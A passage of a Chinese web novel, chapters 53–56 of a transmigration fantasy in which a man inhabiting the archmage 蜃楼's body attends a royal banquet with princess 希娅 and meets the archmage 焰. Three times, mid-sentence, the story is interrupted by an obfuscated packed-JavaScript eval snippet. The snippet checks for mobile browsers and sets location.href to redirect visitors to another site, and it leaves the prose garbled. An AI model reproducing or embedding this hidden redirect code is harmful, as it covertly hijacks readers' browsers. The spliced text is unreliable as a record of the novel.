弗洛瓦平时不常举行家宴。现在掐着希娅回到皇城的时间办了一场,大约也有些“接风洗尘”的意味。毕竟希娅的冤屈已经洗清,皇室没理由再仇视她——只从利益的角度来讲,他们也不希望那些冤罪影响皇室的形象。 蜃楼觉得希恩总不至于在家宴上对希娅下手,本来想趁这功夫去找给他写信的那个“朋友”。可希娅那样一说,他一时间没法拒绝。 最后莫名其妙地被希娅招来的侍女带走,换上了一套古怪又华丽的装饰…… 不是礼服,而是一套制服。棉质的白色衬衫在前、后都做了三角形的大片育克;短立领上以金色的丝线绣出藤蔓的形状,还打上了一个丝绸的交叉领结。衬衫外则是一条宽大而厚重的两片式黑色披风,胸前绣着一个蜃楼从未见过的抽象标志——几个不规则的几何体穿插组合在一起,毫无规律,也不能让人联想到任何现实存在的物体。 “魔法师协会可是张好牌,不要浪费。”希娅走在他身边,抱起胳膊,期待地说,“我们去吓他们一跳吧!” 这竟然是魔法师协会的制服? 蜃楼有些诧异,又低下头看了几眼他这身衣服。要说也确实有些“官方执法人员”的气势在了,可协会不是成都市传说了吗?希娅从哪儿找来的这套衣服? 不对,这些事情倒反而在其次。 他更在意的是—— “弗洛瓦皇室不都是魔法师吗?”蜃楼不解地说,“就算不知道协会的情况,他们会看不出我是假扮的?” 希娅沉默了一会儿,似乎是在组织语言,过了一会儿才说下去:“比起‘会’,用‘敢’来形容更合适。呵……” 希娅大约是想到什么,唇隙发出一声冷笑。蜃楼侧目看她,却见她原本明亮的黑色眼瞳里闪过一丝混沌。他停顿了一下,忽然生硬地挪开话题:“弗洛瓦的皇室家宴……不用稍微打扮一下吗?” 比起他,希娅的样子看着要随性多了。 她连裙子都没换、穿的是方便行动的裤装,长发也扎成低马尾,松散地挂在肩上。当然那张脸不打扮也很好看了,只是毕竟是回归后在皇室前的首次亮相,蜃楼总觉得打扮得好看一些更合适。 可希娅看了他一眼,却只是撇撇嘴,意味深长地说:“等会儿你就知道了。” 53. 第 53 章 夜幕渐深,宫廷侍者拉开丝绒长帘。苍白的月光穿过彩绘窗上的鲜花浮雕,摇摇晃晃地投射到地毯上,又被一双穿着皮靴的脚踏碎。来人雷厉风行,门外接待的女仆尚未行完周全的礼数,此人已经踏进室内、漆黑的衣摆随风飞扬,最终在整洁而奢华的餐桌前停下脚步。 “克莉希娅。”明明是久别重逢,来人的语气却是质问,“你是怎么和协会的人厮混到一起的?” 坐在桌前的希娅支着下巴,已经发了一会儿的呆了。 她来得并不算早,但她的家人们或许没什么时间观念,希娅足足等了半个多钟头,才等来这位向她兴师问罪的大哥—— 弗洛瓦的大皇子亚纶。 单从外貌上看,这对兄妹倒的确像是一家人的样子。 与希娅一样,亚纶也继承他父亲的长相,黑发黑瞳、轮廓凌厉;虽然有着五岁的年龄差,两人却像龙凤胎一样神似,叫人恍惚。 但可惜的是,他们之间的氛围并没有半点兄妹间应有的亲昵。 希娅垂着眼睛,懒得看她这位大哥一眼,只是晃着手里的酒杯,似笑非笑地说:“厮混……?可是大哥,如果没有协会,我现在已经是荒郊野岭的一具枯骨了哦。” 亚纶蹙起眉头,审视的目光扫过希娅的身周。 他漆黑的眼中闪过一丝流光,这是使用“魔力观测”的痕迹;明明这是数月间他与希娅的第一次见面,明明希娅方从九死一生的追捕中归来。 可她这位血缘关系上的大哥,却已经开始怀疑起她来了。 “没有精神操控的痕迹……”亚纶看着她,语气冰冷地开口,“希娅,在我们四兄妹之中,你是唯一在母亲身边长大的孩子。协会曾经对弗洛瓦做过什么事情,你不可能不清楚。” 在提到“唯一”时,亚纶刻意地加重了语气。 而这似乎触碰到希娅的逆鳞,她的表情瞬间阴沉下来。 “久别重逢,你想说的只有这些话吗,哥哥?”希娅冷笑一声,手中的酒杯砸到桌上,底托蔓延开蛛网般的裂痕,“我只是想活下去而已。协会的魔法师帮我洗脱了冤屈,弗洛瓦皇室现在没有想要弑兄夺位的罪人了。这不是好事?对了——说到这里,我今天把人也带来了。来认识一下吧,这位,是我的救命恩人,他叫蜃楼。” 她抬起手,向门外一招。身着协会制服的蜃楼恰到好处地现身,依旧是一副面无表情的样子;或该托他情绪很少外显的天赋,即便蜃楼心中仍有些摸不清状况,可往那儿一站,竟还是有些像样的。 在亚纶震惊的眼神里,蜃楼走到希娅身后,向二人微微颔首。 他没说什么。但那样的气质,只是站在那里,就让人感觉到微妙的压迫力。在餐厅内随侍的几位仆人不约而同地吞了吞口水;而亚纶沉着脸,指节攥到发白,更没有理会蜃楼的意思。最后只沉着脸说了句“你最好知道自己在做什么”,便拉开椅子坐了下来。 桌前的兄妹形同陌路,一旁侍应的仆从更不敢张口插话。空气中持续着微妙的沉默,很快又被一阵杂乱的脚步声打破。 少女的笑声由远而近地传来,沉默的宫廷突兀地多出一抹鲜活的色彩。餐桌前的希娅依旧支着下巴无动于衷,亚纶冰冷的面色却有所缓和——他站起身,拉开身边的座椅,恰与此时,一位被女仆们簇拥着的少女笑吟吟地走了进来。 “亚纶哥哥!”水蓝色的裙摆飘扬起来,蜃楼尚未看清进来人的样貌,她已经脱兔般跃进了大皇子亚纶的怀里,“看我给你带什么啦——” 与漆黑的克莉希娅不同,这是个更加明亮活泼的年轻女孩儿。白金色长发、粉宝石般璀璨流光的眼眸,随着她动作翻转的柔软裙摆,这是个轻快而鲜活的,几乎与这个世界格格不入的人。 她从怀中取出一朵盛开的白色小花,笑吟吟地将它别在了亚纶的耳边。 亚纶蹙了蹙眉头,表情无奈。 “玫理纱。”他将那朵花取下,扶着少女在桌边坐下,“不要胡闹,父亲就快来了。” 玫理纱…… 蜃楼旁观着这一切,总算想起这位少女的身份。 玫理纱·弗洛瓦。希娅的妹妹,弗洛瓦最小的公主。 与希娅跌宕起伏的经历不同,玫理纱的人生,是彻彻底底的“公主童话”。父亲宠溺她、两位哥哥疼爱她,就连地狱归来的希娅,也从未将这位妹妹视作仇敌。 在这个世界里,她过得单纯、幸福,就像是希娅的另一个极端。 当然,蜃楼现在没闲心关注这位公主,他只想帮助希娅夺嫡。玫理纱也许不会成为他们的敌人,但也不会是个很好的同伴就是了…… 他的目光在玫理纱和亚纶之间停顿片刻,忽然想起什么,垂目看向坐在他面前的希娅。 希娅支着下巴,神色有些晦暗。而在她漆黑的眼睛里,蜃楼看见一抹混沌的倦意。 ……哦,对。 归根结底,希娅现在也只是个二十岁的女孩。 被这样刻意地区别对待,她怎么可能不在意呢? 那边的兄友妹恭蜃楼懒得去看,目光在希娅身边一扫,只注意到她面前的酒杯已经空了。侍从想要上前添酒,被他不动声色地拦住;大魔法师从对方手中接过酒壶,站在希娅身边,默默为她将新酒续上。 细小的流水声将希娅飞远的思绪拉了回来。 她回过神,侧目望向蜃楼,殷红的唇角弯了弯。在蜃楼将斟满的酒杯推到她面前时,希娅伸出手接过酒杯,用食指轻轻敲了敲蜃楼的手背。 她用口型向他说“不用担心”,随后拿起酒杯、站起身来,笑吟吟地转向玫理纱:“玫理纱,好久不见——我的妹妹,怎么光惦记着哥哥,忘了我吗?” 玫理纱刚刚落座,闻言身形一顿,动作有些僵硬地抬起头来看向她这位姐姐。 与此同时,蜃楼忽然联想起某些小说中常见的狗血情节:不受待见的姐姐与被偏爱的妹妹,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187384|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争暗斗、鸡犬不宁…… 游戏剧情中对玫理纱的描述不多,但现在,他已经认识到这是个真实的世界了。受尽宠爱的玫理纱,对她的姐姐又会是什么样的态度? “希、希娅……?”玫理纱瞪大眼睛,不敢置信地确认道,“你,你真的回来了?” 她眼中似乎闪过一丝畏惧和失望,但很快消失,那张粉雕玉琢的脸上转瞬只剩下惊喜。就在蜃楼以为是他看错的时候,系统忽然在他耳边嘲讽地出声:“还是这副没出息的样子。” 蜃楼顿了一下,在脑内问它:“你在说玫理纱?你跟她很熟?” 自他跟希娅回到皇城之后,系统的话比起以前少了很多。大多数情况下都是蜃楼敲它才会出来,偶尔也会出现像审问柯林那天时一样失联的情况。 他本想旁敲侧击地问问,但想起柯林说的那句“蜃楼一定能做到”,又怕问出什么自己不能接受的冲击□□实。所以干脆睁只眼闭只眼,反正现在不需要系统,希娅也会解答他的疑问。 “不熟也能看出来啊。”系统说,“皇室现在的人都是草包。政斗也弄得跟小孩过家家一样,还不如甄*传的宫斗呢。” 蜃楼满头问号,没来得及问系统它从哪知道的“甄*传”,忽然听见门外传来一阵脚步声。 拖了这么久,家宴的另外两位主角终于登场了——二皇子希恩跟在弗洛瓦皇帝身侧,不疾不徐地从门外走了进来。 许久不见,希恩看起来倒还是老样子。 此人与玫理纱一样,长得更像已逝的弗洛瓦先女皇。单从外表看毫无攻击性,但性格十分恶劣,在蜃楼心里,是仅次于蜃楼本尊的超级坏蛋。 至于弗洛瓦皇帝,则是个容貌端美的东方男人。这同样是在游戏中被一笔带过的背景故事:当年还是皇太女的弗洛瓦女皇东巡,恰好遇见苍白羸弱的东洲少年。二人一见倾情,在女皇登基后,力排众议、不光迎其为唯一的皇夫,还授予少年“小国王”的封号,与她共治整个弗洛瓦帝国。 直至女皇因病逝世,两人情比金坚,从未有过第三者插足。如今的皇室四兄妹,也都是女皇与皇帝的孩子。 只是,有件事倒是出乎蜃楼的意料了。 这次弗洛瓦的“家宴”,受到特别邀请的魔法师不止他一位。 东洲面孔的皇帝身后,跟着一位同样长着东方面庞的陌生男子。此人赤发金瞳,打扮也是东方风格,漆黑的长袍缀着血红色的诡异花朵,华丽到有些妖冶的地步。但蜃楼对他的衣服没什么兴趣,目光只停留在他肩上的蓝羽鸟上,露出若有所思的表情。 在他来到皇城之前,曾有个自称是“蜃楼”老朋友的人,给他寄过一封特别的信。 那封信的文字用血红色的丝线织成,也是由这样的蓝羽鸟送到他窗前的。 当然,最重要的是,那封信的主人公,也自述正在皇城工作…… …… 不会有这么巧的事情吧?? 54. 第 54 章 坏了,好像还真有这么巧的事情。 蜃楼站在希娅身后,瞥见赤发法师在瞧见他时眸中一闪而过的惊讶,终于能在心中敲下定论。 他回想那封信的内容—— 蜃楼的老熟人、在皇城有“活”要干;然而目前的皇城,又恰好坐镇着一位神秘的大魔法师。不光摆平了蜃楼给希恩找的麻烦,还有让他无法通过传送阵直达皇城的实力…… …… 一切忽然豁然开朗了啊! 赤发魔法师跟在皇帝身后,沉默地与蜃楼擦肩而过,在主位侧方站定。血红的丝线凭空浮现出来,将那把象征权力的、豪华而沉重的主位座椅向后拉去。 弗洛瓦皇帝在他身前,不紧不慢地入座。 气氛沉寂如同凝冰,而皇帝那双与亚纶、希娅神似的漆黑眼睛扫过在场众人,最后停在蜃楼身上。 就在蜃楼以为他会像亚纶一样质问希娅时,对方却只是叹了口气,用手指叩了叩桌面。 “等了这么久,都不饿吗?”他说,语气竟是格外温和的,“难得都有空过来,好好吃饭吧。一家人,百无禁忌。” 殿内终于响起餐具碰撞的声音。 方才剑拔弩张的气氛似乎因这一句话缓和了些。有弗洛瓦皇帝在前,向来与希娅不对付的希恩也不得不装出善意温柔的样子,开始给两位妹妹递起手帕来。 蜃楼看气氛缓和,才分出心去敲系统。他想向它打听红发男人的身份,但奇怪的是,刚才还在对玫理纱犯嘀咕的系统这会儿忽然没声了。 就像蜃楼那天去审问柯林时的情形一样,系统再一次突兀地消失了。 不论他在心中如何呼唤,都如石沉大海,得不到半点回音。 蜃楼的心猛地一沉。 他忽然有一种不妙的预感。 这次的情况和审讯柯林时不太一样,没有系统,蜃楼摸不清这位赤发法师的底细。只能推测对方不会在皇帝眼皮子底下乱来,等他把这次晚宴应付过去,应该不会有什么问题…… 在他思考的时间里,弗洛瓦皇帝再次开口,语调低沉平静,听不出喜怒:“希娅,你在外面交新朋友了?” “是的,爸爸。”希娅放下手里的刀叉,站起身来,笑吟吟地向弗洛瓦皇帝介绍道,“这位是协会的魔法师,蜃楼先生。要不是他,我现在早就人头落地啦。” …… 话音落下,气氛陷入一片死寂。 现在,谁都知道弗洛瓦皇室对希娅有愧,这次的家宴,是皇帝为她预设的“台阶”——毕竟希娅谋害长兄的罪名已被证伪,再让希娅在外流落,只会让皇室的声名受损。 蜃楼不懂个中纠葛,但能隐约猜到一些。 希娅那样聪明,对此应该是心知肚明的。 只要她本本分分、老老实实地吃了这顿饭,顺着台阶下了,不要多嘴,就能心安理得地回到皇室;可是显而易见地,现在的希娅没有这样的打算。 她脸上的笑意看起来有些嘲讽。尤其是在说到“人头落地”的时候,刻意加重的语气几乎将她的态度摆在明面上了: 希娅并不准备就这样轻飘飘地揭过这些发生在她身上的不幸。 蜃楼回过神来,有些意外地看着她。 皇帝依旧是那副喜怒不形于色的样子。站在皇帝身侧的赤发法师眉尾一抬,露出有些玩味的笑容;亚纶皱起眉头、希恩面色一凝,坐在希娅身边的玫理纱则身体一抖,手中的银叉掉到盘子上,发出清脆的响声。 “我正想和你说这件事,我的孩子。”皇帝无视了玫理纱的异动,沉声说道,“这段时间让你受苦了。渎职的审判官已经被处决,头颅正挂在市场前示众呢。等吃完饭,让你大哥带你去看看吧。” 挂在……市场前……示众?! 蜃楼愣了一下,却发现希娅的表情没有变化,似乎早就知道这件事了。他惊诧于皇室的血腥手段,可转念一想,如果他刚来的时候没有救下希娅,被挂到市场前的就是她了——心中那点莫名其妙的怜悯心霎时烟消云散了。 “您应该知道的,我说的不止是这件事,爸爸。”希娅坐下来,重新拿起她的刀叉,慢吞吞地说,“在这四年的时间里,我呀,每一天都差点死掉哦。” 这是与原剧情截然不同的路线。 没有经历污蔑的希娅,在弗洛瓦的家宴中受到蜃楼的指示,只能忍气吞声、假意释怀地对待她并不单纯的家人们。 可现在的希娅,不再是游戏中那个任人鱼肉的傀儡了。当她说话的时候,怯懦、麻木不会浮现在那双漆黑的眼睛里;只剩下一簇明亮的火苗,夹杂着 这是一种让人欣喜的转变,可惜蜃楼现在没有时间感慨。他的注意力一半在那位赤发法师身上了:他是真没想明白弗洛瓦皇帝带这个人来干什么。 在这个时候,希娅低下头,用刀尖分解掉她面前的肉排,又一次轻声地开口了: “是谁把我从城外的塔楼上推下来的?” “是谁藏住我被送进‘女神之血’的消息的?” “这些事情,难道也是那位审判官先生做的吗,爸爸?” 皇帝眯起眼睛,黑色的瞳孔中闪过一丝意味不明的情绪。 该说他不愧是能坐上弗洛瓦最高位置的外族人,至少蜃楼是看不出他的想法;要不是知道原本的剧情,他或许会真的以为他是个关心儿女的父亲:因为在这个男人提到希娅“受苦”的时候,语气里还真有那么一丝柔软在呢。 沉默已久的希恩观望着气氛,终于忍不住开口:“希娅……你怎么能这样说?你失踪的那些年,父亲也不好过。真凶我们一直在找,但今天难得家人团聚,你不该说这些怄气的话。” 希娅笑了一声,气势却没有因为希恩这一番伪善的教育而削弱。她偏过头去,嘲讽地看他:“我在问爸爸呢。二哥,你急什么?同样是谋杀皇室的罪名,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187385|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被害者成了我就要轻飘飘放下了?” 希恩眼尾一抽,正想说些什么,却听弗洛瓦皇帝叹了口气,顿时识趣地闭上了嘴。 “希娅,这些年来你受苦了。”皇帝张口说道,同时将手向后招了招,那位神秘的赤发法师便颔首前行一步,姿态明明礼貌、却莫名让人觉得轻浮,“我当会找出真凶的,但现在有件更重要的事。我也要向你介绍一个人。” “这位是七位大魔法师之一的焰先生。”皇帝顿了顿,目光掠过正眼观鼻、鼻观心的蜃楼,继续说了下去,“接下来,他会成为你的老师,为你补上这四年落下的课程。你是个很有天赋的孩子,希娅,不该继续疏怠下去。既然回来了,就好好上课吧。” 大魔法师! 蜃楼心下一惊,侧目看向焰,却发现他也正意味深长地看着他。 这跟柯林的情况太不一样,毕竟柯林还远算不上大魔法师的程度,更没有和蜃楼对抗的实力——可是这个人,不只是大魔法师不说,还是蜃楼的“老朋友”,那他这个冒牌货露馅,不就是时间问题吗? 可皇帝既然让他做希娅的老师,说明他内心还是器重她的……至少这对希娅来说是件好事。蜃楼不明白为什么,这个皇帝对希娅的态度和游戏里似乎有些出入。 虽然他作为头号抖S男主也没什么立场吐槽这个。 难道是从BE中救下希娅的蝴蝶效应?蜃楼不解地想。 思绪飞远又飞回,蜃楼忽然意识到:如果这个“焰”真成了希娅的老师,那他为了不暴露自己,也不能在他们面前久留了。 思酌至此,他无声地向后退了一步。 这一小步似乎让希娅察觉到什么,切肉的手微微一顿。下一秒,她深吸一口气,坚定地说:“您的好意我心领了。但是爸爸,我已经有一位老师了——” 她站起身,扯过萌生退意的蜃楼,按着他的肩膀,拉到众人面前。 “他就是我的老师。”她说,“我现在不需要老师了,但请您同意让他作为老师留在我的剑兰宫里。另外,蜃楼先生救了我、洗脱了我的冤屈,为弗洛瓦皇室找回了颜面,也请您授予他应有的荣誉和赏赐……” “希娅?”蜃楼有些吃惊,下意识侧目看她,“你不用——” 他只是占用了蜃楼的身体,并没有什么真才实学。用真正的大魔法师来换他一个什么也不懂的天外来客,怎么想都有点不合算。 可平日里聪明得很的希娅,这时却仿佛算不清其中利弊似的,只瞥了他一眼,便以坚决的目光看向弗洛瓦的皇帝。 被女儿当面拒绝,皇帝并未露出责怪的颜色。他微顿片刻,最终只是摆了摆手,无奈地说:“好。” 然而,还不待蜃楼放下心来,亚纶忽然开口:“希娅,来路不明的魔法师不能留在这里。留驻王庭的魔法师需要身份证明,就算是你的救命恩人也不能例外。只是穿身新做的衣裳,证明不了什么。” 55. 第 55 章 显而易见地,亚纶对蜃楼抱有敌意。 他的语气冰冷、不容置疑,但不像希恩似的见缝插针地给希娅找不痛快。 蜃楼在这方面有些敏感。他能看出来,比起希娅,亚纶更怀疑他。 至少他的敌意不是空穴来风:蜃楼的确是一位来历不明的大魔法师。连他自己都还没搞清楚自己的身份呢,别人会对他有所防备实在是太正常了。 倒不如说,现在完全不对他提出质疑的家伙才更可疑…… 大皇子话音刚落,在场众人的目光霎时都集中到了蜃楼身上。 蜃楼垂着眼睛,没有接话。 真正的协会早已没落,亚纶没在一开始就揭穿他,只能看出他对协会的了解并不多。 而他相信希娅对此不会毫无准备。 在这个世界,强大无比的大魔法师就像昙花一现的星星;而像弗洛瓦这样稳定、历史悠久的魔法世家,才是托举整个魔法世界的大树。在弗洛瓦王庭内,即便是为了希娅,蜃楼也不能像以前仰仗自己的实力贸然行动了。 果然,亚纶的质问没能让希娅缄口。 后者抱着胳膊轻哼一声,将目光转向希恩,意味深长地开口:“身份证明?哥哥,你不知道吗?能够轻松运用传送阵的白发法师,在这个世界里找不出第二个人来了呀。” 希恩愣了一下,似乎是想到什么,表情有些难堪。 坐在他身侧的亚纶却没注意到这耐人寻味的变化,只是不解其意地拧起眉头,问道:“传送阵?什么意思?” 在这期间,弗洛瓦皇帝放下酒杯,与站在他身侧的焰交换了一个眼神。 “现世的大魔法师大多深居简出,但是将传送阵运用得神乎其技的白发法师,确实只有一位。”焰站出来,微笑着开口解释道,“希娅殿下说得没错。事实上,这位白发法师正是我的朋友。他很久没有入世,要说纸面的身份证明,的确是没有的。但我能以我个人的名义为他担保,他对弗洛瓦王庭绝无二心。” 蜃楼顿了一下,有些吃惊地望向他。 这个人竟然在帮他圆谎? “蜃楼”还有能帮他圆谎的好朋友呢? 焰却没在看他,而是煞有其事一般认真地望着大皇子亚纶。他身前坐着的弗洛瓦皇帝迟迟没有开口,又或者说,大魔法师焰的发言已经代表了他的态度。 亚纶再迟钝也能觉察到这点。他还没蠢到当面找皇帝茬的地步,只能闭闭眼睛,继续吃他的饭了。 这场莫名其妙的晚宴似乎就这样有惊无险地度过。 蜃楼观察着宴会上的气氛,终于梳理明白如今王庭的局势。 弗洛瓦皇帝所拥有的权力与地位不容置疑,而在他之下,便是雷厉风行的大皇子亚纶。希恩紧随其后,但也许是因为之前放跑了希娅、又陷入“禁闭室”丑闻,他似乎在刻意降低自己的存在感。 至于四公主玫理纱…… 蜃楼想也不想地把她从威胁中排除了出去。 最大的好消息还是,皇帝同意了蜃楼以希娅老师的身份留在王庭。 这意味着他不用再冒险伪装自己,当然更重要的是,他还得到了一笔十分丰厚的奖赏——整整一箱黄金。 …… 这其实有点匪夷所思。 就蜃楼的认知而言,这个世界的魔法师应该不是那么需要金钱……就算是为“女神之血”工作的柯林,也更多出于“个人爱好”。弗洛瓦皇帝身边既然有焰这样的大魔法师在,不应该不清楚这一点。 这样还要送他一箱金子,实在是让人摸不着头脑。 皇室给了回归的希娅一笔不菲的财富,他们现在已经没那么缺钱了。这箱黄金蜃楼没想明白该如何处理,干脆放在希娅宫殿的库房里,日后再说。 对他而言,现在还有一件更加紧迫的问题需要解决—— 他和系统之间的联系变得越来越少了。 在晚宴结束后的深夜,失联的系统终于出现,腔调与以前相比却不太正常。 它的语气烦躁,传来的声音就像老式收音机一样失真、磕绊。系统没有多说什么,只是告诫蜃楼不要与那个叫焰的大魔法师单独相处、不要让他发现他的情况,之后便失去了音讯;在接下来的几天时间里,一直不见回音。 这让蜃楼有些焦虑。 明明一切都在往好的方向发展,系统却在这个节骨眼上失去音讯。没有人保证他是否能在辅佐希娅迎来结局之后回到原来的世界,可他好不容易走到这里…… 希娅回到王庭之后,忙于和城中的贵族、大臣周旋;蜃楼也不想坐以待毙。他从希娅那里得到了出入王庭图书馆的许可:弗洛瓦身为魔法世家,拥有整整一间图书馆的魔法藏书。 系统不在,他正好可以去那里查查资料,如果能搞清楚让灵魂穿越的办法,那他不用指望系统也可以回家了。 然而,祸不单行。 自从晚宴之后,蜃楼谨记系统的警告,一直离那位可疑的赤发法师远远的。王庭内不能使用传送阵那样的大型魔法,蜃楼干脆做了件伪装斗篷:弗洛瓦城堡群内的绿植成群,他特意染了件颜色相近的斗篷。一看见焰的影子便立刻躲到花丛里去,还真就这样蒙混了过去。 ——直到他踏入了弗洛瓦的皇家图书馆。 弗洛瓦皇室作为魔法师世家兼西方第一帝国的统治阶级,其拥有的财富和资源是常人难以想象的。除去奢华的城堡群和精致的花园,这座坐落于王廷中心的图书馆,更是在知识的层面上做到了“海纳百川”…… 蜃楼总觉得他会在这里找到收获。 但转了半天,他才意识到自己大字不识一个,别说找魔法书了,看地图都够呛…… 就在这尴尬的节骨眼上,又撞见了一位麻烦的大魔法师。 “哟,老朋友。”赤发法师叉着腰,横在两面高高的书架中间,恰好挡住蜃楼唯一的出路,“好久不见,咱俩终于能寒暄两句了——嗯?你退半步的动作是认真的么?” 蜃楼停下脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222958|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺势从书架里抽了一本书,装模作样地看了起来,没有搭理他。 反正他不知道该怎么应付下去的时候就装哑巴,这招是屡试不爽的。 “真令人伤心啊。”焰看着他,惋惜地说,“明明前几天我还帮你圆谎呢……唉。要不是老头平时足不出户,那丫头的谎言早就被戳穿啦。” “老头?”蜃楼合上书,不解地重复了一遍。 焰见他抬起头,不知怎地也来了劲,倒豆子一般说了下去:“就是第七位大魔法师啊!人家确实是白发、擅长用传送阵,也是协会的人没错。但那家伙是个老头……” “他自从协会倒台就闭门不出,到现在都有二三十年了。现在的小孩儿哪知道他啊?也真奇怪,弗洛瓦的三皇女在霍斯菲尔德蹉跎了那么多年,竟然还知道他。” 蜃楼眯起眼睛,一言难尽地看着他。 不得不承认,他之前从没有仔细打量过这个男人。 他只记得他有一头夺目的赤发、一双和蜃楼一样纯粹的金色眼睛、模样看着有些轻佻。可现在仔细一看,他猛然发觉,这位被弗洛瓦尊称为“大魔法师”的焰,看起来最多也不超过20岁…… 他好像完全没发现他眼前的这个“蜃楼”,已经是换过芯子的了。 “干嘛这副表情?人家是明明好心帮你……”焰嘀咕着,自顾自地走过来,从他手里抽过那本书,掉了个头看了一眼,拧眉道,“《霸道女帝爱上我》……?嚯,您还看这种书啊?” “……”蜃楼闭了闭眼睛,从他手里拿回那本书,脸不红心不跳地胡诌起来,“是克莉希娅拜托我帮忙取的。” “哦,那就不奇怪了。”焰一合掌,却话锋一转,疑惑地问道,“不过,我记得你一直很讨厌弗洛瓦皇室的人啊?怎么还跟他们的皇女混到一起了。” 蜃楼蹙起眉头。晚宴初见、再加上系统的警告,他一直以为焰该是个和蜃楼一样难以预测的大魔法师。 可刚才和他一番交谈,至少他是没怎么感觉到对方的城府。 只是这一句话,他暂时分不清焰是真的临时想到来问一嘴的、还是在有意地借语言来试探他。 但是,要说“混到一起”……蜃楼本尊早就跟弗洛瓦皇室沆瀣一气了吧。 至少希娅是他主动捡来的,连希恩那边也有在偷偷联系……焰问他这个,难道对这些事情不知情吗?……也是,蜃楼本来也没理由告诉他这些。 想到这里,蜃楼决定贯彻本尊的态度。 他露出有些不耐的表情,抱着那本《霸道女帝爱上我》,绕过焰走了出去。 他说:“不该你管的事,少多嘴。” 而焰顿在原地,眨巴着眼睛,似乎是真听进去了,乖乖地闭上了嘴。 只是在他指尖,有细小的、猩红的丝线,在蜃楼与他擦肩而过的同时,轻轻地攀上了他的披风。 图书馆的大门敞开,吹进一阵微风,掀起蜃楼披风的一角。那缕丝线游鱼一般钻了进去,很快不见踪影。 56. 第 56 章 “……灵魂穿越?” 希娅坐在书桌前,放下手里的钢笔,疑惑地重复了一遍蜃楼的问题。 蜃楼点了点头。 他的表情有些懊丧,就像一只找不到家的小狗。 希娅停下她手头上的工作,若有所思地低下头去。她摸了摸拇指上那枚金色的短甲——在蜃楼留给她这枚饰物之后,她深思时几乎已经不再咬指甲了。 “所以,你原来是不属于这个世界的。”希娅想了想,向他确认道,“将你引来这里的人失踪了,你担心自己不能穿梭回去?” 不得不说,希娅是个聪明到有些可怕的女孩。 蜃楼根本没向她阐述前因后果,只是询问她有关“灵魂穿越”的魔法而已,她就已经在这几句话里迅速地推测出他的来历了。 幸而她的底色是善良的,蜃楼想。 如果连这样的希娅也像歌登、马坎那样腐坏的话,这个世界大约会毁灭掉的吧。 他本不应该将这件事告诉任何人的。可是自晚宴已经过去半个多月的时间,花园法庭针对马坎男爵的审判即将开始。蜃楼隐约记得这里的游戏剧情,马坎的背后正是弗洛瓦的几位皇子之一;而希娅乘胜追击,顺利扳倒了她的第一位对手。 这是个非常重要的节点。 可蜃楼或许是在这里待了太久,一时竟想不出来那个人究竟是谁了。 加之系统自那之后依然杳无音讯;没了翻译,即便他日夜学习弗洛瓦的文字,也看不懂图书馆里那些晦涩的书籍…… 不幸中的万幸是,晚宴之后皇帝就跟忘了还有希娅这个女儿一样,从未来过她的剑兰宫。 不然要是让他撞见希娅倒反天罡教蜃楼,这个她名义上的“老师”认字的场面,就算有十个焰给他打掩护也说不清了。 不安随着时间过去与日俱增。 蜃楼有时觉得,倘若真的不能回去,他在这个世界又该如何生存? “系统”给予他的一切都是虚假的。这副皮囊、这身强大的魔力,只要真正的“蜃楼”回归,他将一无所有,或许会迎来比抢救无效死亡更加惨烈的结局。 他就这样纠结了十余个晚上,最终还是坐不住了。在他目前的“团队”中,只有希娅既看出他不是原来的蜃楼,又没有做过什么妨害的举动。当然,蜃楼是相信她的,有时甚至胜过系统;不告诉她详情,只是不想将她也牵扯进自己的问题里来。 现在他别无选择了。 希娅看着他,漆黑的眼睛倒映出蜃楼那副昳丽到非人的脸庞。可她的目光却好像穿透他的身体,带着某种让人无端地感到安定的情绪,直直地望进另一个世界里去。 “……”她沉默片刻,站起身去,倒了一杯热气腾腾的红茶,递到蜃楼手边,“别担心。其实,我听说过类似的魔法。” 不待蜃楼追问,希娅停顿了一下,认真地说了下去:“与灵魂有关的一切魔法,在当今的魔法界都是被视作禁术的。你的情况至少牵扯到其中的两种。一种是将你从异界的身体里拉扯出来的抽取,另一种则是让你融入‘蜃楼’的身体里去的附身。” “这两种魔法都需要极大的消耗,是启动一个传送阵的数百倍。就如今存活于世的大魔法师里,恐怕没人能凭借自己的能力做到。” “就连‘蜃楼’也不行吗?”蜃楼忽然想到柯林说的话,下意识问道。 希娅侧目看他,表情有些复杂。 她似乎是纠结了一会儿,才对蜃楼说:“我不知道。他不能和现在的魔法师相提并论。……我怀疑他不是人类。” 蜃楼捧着茶的手腕一震,红茶液面抖落几滴,掉在桌面上蒸腾。 